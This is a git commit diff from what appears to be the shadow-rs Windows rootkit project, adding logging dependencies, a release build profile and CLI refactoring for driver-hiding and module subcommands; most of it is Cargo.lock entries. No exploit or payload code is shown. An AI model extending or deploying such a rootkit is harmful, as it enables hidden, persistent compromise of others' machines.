mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-22 09:44:27 +01:00
Adding new features to the 'Module' and refactoring the code
This commit is contained in:
@@ -174,3 +174,4 @@ These are some of the features that will be added, but there are many more on th
|
|||||||
- https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
|
- https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
|
||||||
- https://github.com/mirror/reactos
|
- https://github.com/mirror/reactos
|
||||||
- https://github.com/Kharos102/ReadWriteDriverSample
|
- https://github.com/Kharos102/ReadWriteDriverSample
|
||||||
|
- https://imphash.medium.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-part-4-16c47b89e826
|
||||||
2
client/.gitignore
vendored
2
client/.gitignore
vendored
@@ -1,2 +1,2 @@
|
|||||||
/target
|
/target
|
||||||
/src/memory.rs
|
/src/modules/memory.rs
|
||||||
375
client/Cargo.lock
generated
375
client/Cargo.lock
generated
@@ -2,6 +2,30 @@
|
|||||||
# It is not intended for manual editing.
|
# It is not intended for manual editing.
|
||||||
version = 3
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aho-corasick"
|
||||||
|
version = "1.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "android-tzdata"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "android_system_properties"
|
||||||
|
version = "0.1.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "anstream"
|
name = "anstream"
|
||||||
version = "0.6.14"
|
version = "0.6.14"
|
||||||
@@ -38,7 +62,7 @@ version = "1.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows-sys",
|
"windows-sys 0.52.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -48,7 +72,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"anstyle",
|
"anstyle",
|
||||||
"windows-sys",
|
"windows-sys 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "autocfg"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bumpalo"
|
||||||
|
version = "3.16.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cc"
|
||||||
|
version = "1.1.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b62ac837cdb5cb22e10a256099b4fc502b1dfe560cb282963a974d7abd80e476"
|
||||||
|
dependencies = [
|
||||||
|
"shlex",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg-if"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "chrono"
|
||||||
|
version = "0.4.38"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401"
|
||||||
|
dependencies = [
|
||||||
|
"android-tzdata",
|
||||||
|
"iana-time-zone",
|
||||||
|
"js-sys",
|
||||||
|
"num-traits",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-targets 0.52.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -95,10 +160,13 @@ checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
|
|||||||
name = "client"
|
name = "client"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"chrono",
|
||||||
"clap",
|
"clap",
|
||||||
|
"colored",
|
||||||
|
"env_logger",
|
||||||
|
"log",
|
||||||
"shared",
|
"shared",
|
||||||
"winapi",
|
"windows-sys 0.52.0",
|
||||||
"windows-sys",
|
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -107,18 +175,119 @@ version = "1.0.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colored"
|
||||||
|
version = "2.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cbf2150cce219b664a8a70df7a1f933836724b503f8a413af9365b4dcc4d90b8"
|
||||||
|
dependencies = [
|
||||||
|
"lazy_static",
|
||||||
|
"windows-sys 0.48.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "core-foundation-sys"
|
||||||
|
version = "0.8.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "env_filter"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"regex",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "env_logger"
|
||||||
|
version = "0.11.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e13fa619b91fb2381732789fc5de83b45675e882f66623b7d8cb4f643017018d"
|
||||||
|
dependencies = [
|
||||||
|
"anstream",
|
||||||
|
"anstyle",
|
||||||
|
"env_filter",
|
||||||
|
"humantime",
|
||||||
|
"log",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "heck"
|
name = "heck"
|
||||||
version = "0.5.0"
|
version = "0.5.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "humantime"
|
||||||
|
version = "2.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone"
|
||||||
|
version = "0.1.60"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141"
|
||||||
|
dependencies = [
|
||||||
|
"android_system_properties",
|
||||||
|
"core-foundation-sys",
|
||||||
|
"iana-time-zone-haiku",
|
||||||
|
"js-sys",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone-haiku"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "is_terminal_polyfill"
|
name = "is_terminal_polyfill"
|
||||||
version = "1.70.0"
|
version = "1.70.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "js-sys"
|
||||||
|
version = "0.3.70"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a"
|
||||||
|
dependencies = [
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazy_static"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libc"
|
||||||
|
version = "0.2.158"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.22"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "memchr"
|
||||||
|
version = "2.7.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ntapi"
|
name = "ntapi"
|
||||||
version = "0.4.1"
|
version = "0.4.1"
|
||||||
@@ -128,6 +297,21 @@ dependencies = [
|
|||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-traits"
|
||||||
|
version = "0.2.19"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.19.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "proc-macro2"
|
name = "proc-macro2"
|
||||||
version = "1.0.85"
|
version = "1.0.85"
|
||||||
@@ -146,14 +330,49 @@ dependencies = [
|
|||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex"
|
||||||
|
version = "1.10.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-automata",
|
||||||
|
"regex-syntax",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-automata"
|
||||||
|
version = "0.4.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-syntax",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-syntax"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shared"
|
name = "shared"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"ntapi",
|
"ntapi",
|
||||||
"windows-sys",
|
"windows-sys 0.52.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shlex"
|
||||||
|
version = "1.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "strsim"
|
name = "strsim"
|
||||||
version = "0.11.1"
|
version = "0.11.1"
|
||||||
@@ -183,6 +402,61 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
|
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen"
|
||||||
|
version = "0.2.93"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"once_cell",
|
||||||
|
"wasm-bindgen-macro",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-backend"
|
||||||
|
version = "0.2.93"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b"
|
||||||
|
dependencies = [
|
||||||
|
"bumpalo",
|
||||||
|
"log",
|
||||||
|
"once_cell",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro"
|
||||||
|
version = "0.2.93"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf"
|
||||||
|
dependencies = [
|
||||||
|
"quote",
|
||||||
|
"wasm-bindgen-macro-support",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro-support"
|
||||||
|
version = "0.2.93"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
"wasm-bindgen-backend",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-shared"
|
||||||
|
version = "0.2.93"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winapi"
|
name = "winapi"
|
||||||
version = "0.3.9"
|
version = "0.3.9"
|
||||||
@@ -205,13 +479,46 @@ version = "0.4.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-core"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.52.5",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.48.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.48.5",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-sys"
|
name = "windows-sys"
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows-targets",
|
"windows-targets 0.52.5",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm 0.48.5",
|
||||||
|
"windows_aarch64_msvc 0.48.5",
|
||||||
|
"windows_i686_gnu 0.48.5",
|
||||||
|
"windows_i686_msvc 0.48.5",
|
||||||
|
"windows_x86_64_gnu 0.48.5",
|
||||||
|
"windows_x86_64_gnullvm 0.48.5",
|
||||||
|
"windows_x86_64_msvc 0.48.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -220,28 +527,46 @@ version = "0.52.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
|
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows_aarch64_gnullvm",
|
"windows_aarch64_gnullvm 0.52.5",
|
||||||
"windows_aarch64_msvc",
|
"windows_aarch64_msvc 0.52.5",
|
||||||
"windows_i686_gnu",
|
"windows_i686_gnu 0.52.5",
|
||||||
"windows_i686_gnullvm",
|
"windows_i686_gnullvm",
|
||||||
"windows_i686_msvc",
|
"windows_i686_msvc 0.52.5",
|
||||||
"windows_x86_64_gnu",
|
"windows_x86_64_gnu 0.52.5",
|
||||||
"windows_x86_64_gnullvm",
|
"windows_x86_64_gnullvm 0.52.5",
|
||||||
"windows_x86_64_msvc",
|
"windows_x86_64_msvc 0.52.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_gnullvm"
|
name = "windows_aarch64_gnullvm"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
|
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_msvc"
|
name = "windows_aarch64_msvc"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
|
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_gnu"
|
name = "windows_i686_gnu"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
@@ -254,24 +579,48 @@ version = "0.52.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
|
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_msvc"
|
name = "windows_i686_msvc"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
|
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnu"
|
name = "windows_x86_64_gnu"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
|
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnullvm"
|
name = "windows_x86_64_gnullvm"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
|
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.48.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_msvc"
|
name = "windows_x86_64_msvc"
|
||||||
version = "0.52.5"
|
version = "0.52.5"
|
||||||
|
|||||||
@@ -5,9 +5,16 @@ edition = "2021"
|
|||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
clap = { version = "4.5.6", features = ["derive"] }
|
clap = { version = "4.5.6", features = ["derive"] }
|
||||||
winapi = "0.3.9"
|
|
||||||
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||||
shared = { path = "../shared" }
|
shared = { path = "../shared" }
|
||||||
|
log = "0.4.22"
|
||||||
|
env_logger = { version = "0.11.5" }
|
||||||
|
colored = "2.1.0"
|
||||||
|
chrono = "0.4.38"
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
mapper = []
|
mapper = []
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
strip = true
|
||||||
|
opt-level = "z"
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
#![allow(non_camel_case_types)]
|
#![allow(non_camel_case_types)]
|
||||||
|
|
||||||
use clap::{arg, Parser, Subcommand, ValueHint};
|
use clap::{arg, Parser, Subcommand, ValueHint, ArgAction};
|
||||||
|
|
||||||
/// The main command-line interface struct.
|
/// The main command-line interface struct.
|
||||||
#[derive(Parser)]
|
#[derive(Parser)]
|
||||||
@@ -9,6 +9,10 @@ pub struct Cli {
|
|||||||
/// The command to be executed.
|
/// The command to be executed.
|
||||||
#[command(subcommand)]
|
#[command(subcommand)]
|
||||||
pub command: Commands,
|
pub command: Commands,
|
||||||
|
|
||||||
|
/// Activate verbose mode (-v, -vv for additional levels)
|
||||||
|
#[arg(short, long, action = ArgAction::Count)]
|
||||||
|
pub verbose: u8,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Enum representing the available top-level commands.
|
/// Enum representing the available top-level commands.
|
||||||
@@ -37,7 +41,7 @@ pub enum Commands {
|
|||||||
unhide: bool,
|
unhide: bool,
|
||||||
|
|
||||||
/// Enumerate the drivers.
|
/// Enumerate the drivers.
|
||||||
#[arg(long)]
|
#[arg(long, short)]
|
||||||
list: bool,
|
list: bool,
|
||||||
|
|
||||||
/// Name Driver
|
/// Name Driver
|
||||||
@@ -58,12 +62,13 @@ pub enum Commands {
|
|||||||
#[command(subcommand)]
|
#[command(subcommand)]
|
||||||
sub_command: RegistryCommands
|
sub_command: RegistryCommands
|
||||||
},
|
},
|
||||||
|
|
||||||
/// Operations related to Module.
|
/// Operations related to Module.
|
||||||
Module {
|
Module {
|
||||||
/// The process ID for enumerate modules.
|
#[command(subcommand)]
|
||||||
#[arg(short, long, required = true)]
|
sub_command: ModuleCommands
|
||||||
pid: u32,
|
|
